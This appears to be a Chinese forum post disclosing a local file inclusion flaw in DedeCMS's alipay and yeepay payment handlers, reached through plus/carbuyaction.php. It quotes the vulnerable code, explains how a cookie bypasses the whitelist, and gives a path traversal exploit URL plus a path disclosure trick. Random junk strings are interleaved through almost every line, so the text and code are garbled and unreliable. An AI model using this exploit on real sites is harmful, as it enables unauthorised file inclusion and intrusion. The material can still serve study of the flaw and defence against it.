晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
2 b7 G/ l' s7 h6 B8 M+ i- S2 E; e t! Q- }7 j% e2 A
出现漏洞的两个文件为:
( q) f3 E% q* L/ B. xInclude/payment/alipay.php5 m6 m* t8 U$ p* e+ }) ~( _
Include/payment/yeepay.php
5 g5 T7 p9 o1 [. F( v# E( x% W$ K( t漏洞均出现在respond方法里,估计这两个文件是临时工写的。; p* f1 M4 Z; Z/ K
* A! N4 G$ K' A) V
Include/payment/alipay.php
# E" C- n* I0 g3 K& I/ L4 t8 ^0 u
......3 D* Y i; l: d9 K$ c& \
function respond()
% s- D, d/ `' [5 n& m {
4 N! S! l F+ z6 I* b% f if (!empty($_POST))
, \( u0 C* [) d, y2 Z {3 ?- x1 F; [" l5 }) l) Q$ v
foreach($_POST as $key => $data)1 G0 i5 Z$ a8 A4 d
{( T4 T; ^! I0 I) D3 [8 y. H
$_GET[$key] = $data;
) W% I& |/ T# n4 l. t5 m/ N }
/ c. ~. t! O/ i! a }" g4 ~- ^6 V" |1 j7 K# z8 \3 x T
/* 引入配置文件 */
' I- R5 ], a+ {6 w0 \ require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
$ Q, k" r4 i/ z1 f5 ^...... # g% H: z) E$ R6 m5 N) C# e
0 @# \& |% [% `
( h: ]/ z: A( Z9 {6 f大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。5 U. X; W, `$ e# u! V: B( o
) M W1 M4 H/ d2 P! Z' L
Include/payment/yeepay.php
* i) N' W0 ~: F
! P7 K4 K$ Y6 [& ]( N J) f
5 e, ]% d+ }" H7 D1 t) Z; i
/ @; Z9 H, {" x5 j% p) G......) ~+ `+ j6 e. Q, h: |- K- X% j
function respond()
) x4 F7 ?8 }# v, L {* f& B# i, |6 W2 W7 x4 b2 T
# u( ]% D. ~9 U5 h /* 引入配置文件 */
% t7 Q" g' G- ]7 R* N require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
2 S( S: ]! {$ c% q, s' T# C
6 `) h" ?; l/ p$ V7 g! ` $p1_MerId = trim($payment['yp_account']);; c7 J$ r) m# _3 ]6 a2 j7 j
$merchantKey = trim($payment['yp_key']);; L8 a/ v; y% G" A& r; r
......
8 q9 J; s6 E# H5 k" v; u
9 L4 c+ B6 b9 K6 C+ r, Y* q. o4 k# L& e7 l4 Y) \
8 Y+ t4 o: V1 T1 R3 w$ X8 w. Z
& E& l$ @& ~: _: v( ?/ g5 C
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
+ j1 B5 h4 E, o* O( h
0 {# f: @6 j1 s& P- G2 r( u# y* [这两个方法在plus/carbuyaction.php文件调用。8 G- W! W! B' M# a% Z5 S# _
4 D" `- ~+ T0 i: {, H( ]8 a4 O7 Q6 yplus/carbuyaction.php8 M2 N/ v% S1 i
: R7 T/ {- i) P3 M. T9 M......
. @% e0 T' F# i8 T6 T/ n} else if ($dopost == 'return') {5 n! Y" g9 D0 G" d) M
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
}! w0 M( f% @. W if (in_array($code, $write_list))
/ O* H/ f+ ]9 ^. C. w$ O {
5 p0 j8 h" ~! Y* M4 b( G5 B, b/ d require_once DEDEINC.'/payment/'.$code.'.php';0 C: \+ \0 N: Y- v& R
$pay = new $code;
7 A" ]6 f2 {% e' a& f" H' A $msg=$pay->respond();
8 q. w( h9 J! O7 E. K6 s+ m ShowMsg($msg, "javascript:;", 0, 3000);, U5 F. q# n2 ^! p8 i6 d
exit(); 1 U$ d% H0 p# V
} else {: c- L& X# ^% w4 x+ a/ A1 r0 ]7 N' v
exit('Error:File Type Can\'t Recognized!');
8 W. i$ T5 N7 r9 A4 {, y! W( v) O }8 Y5 q1 ^7 q! [1 H$ j$ p
} ?) l5 P- `8 ^. }2 j
......
$ m/ ^, \. Z# y ; W, @# F, H9 q5 m- }
7 }3 Y" p: c B
( R% w2 }7 W+ i0 u0 {0 y
: o: ^% A! L" `* B0 {# M
a5 o1 Q8 K! ~) E( ]$ X# Z5 K, }) D8 z4 _4 h/ G2 V' `
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
p; c) ]+ a/ H3 B! g所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
7 T1 ^0 e# w# ]9 F9 g& T% v4 A: i6 R# O" i3 M6 _; @. U$ y
回到include/common.inc.php来看看他的机制。
. o5 |! B% s; c _2 e# p6 `& ~" M3 e. Y1 a3 ]' P
6 l: u& ^) S4 g& K4 i! e
# Q3 E! j) ]$ S4 x1 L; q9 S5 [......: F$ y* H% m; ], w# A( n
foreach(Array('_GET','_POST','_COOKIE') as $_request)) q$ V' }. ^" P8 G: ~" }
{
0 ^4 r' u4 v+ Z+ g$ ?, N foreach($$_request as $_k => $_v)
$ j; {3 b+ j9 f. Q* N1 { {( y v, o# \, o* m
if($_k == 'nvarname') ${$_k} = $_v;: A/ Y/ o9 m [/ p1 f0 ?
else ${$_k} = _RunMagicQuotes($_v);8 x4 i$ G0 S/ Z. A+ Y( C9 z! w
}! c2 F! \ Y- j- l4 B$ y9 N/ W B0 R
}2 M; Z* o4 I& p1 O
......
: m0 }" {- J2 v( ?& I) ?大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
0 o( H, Z2 E& `6 x由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |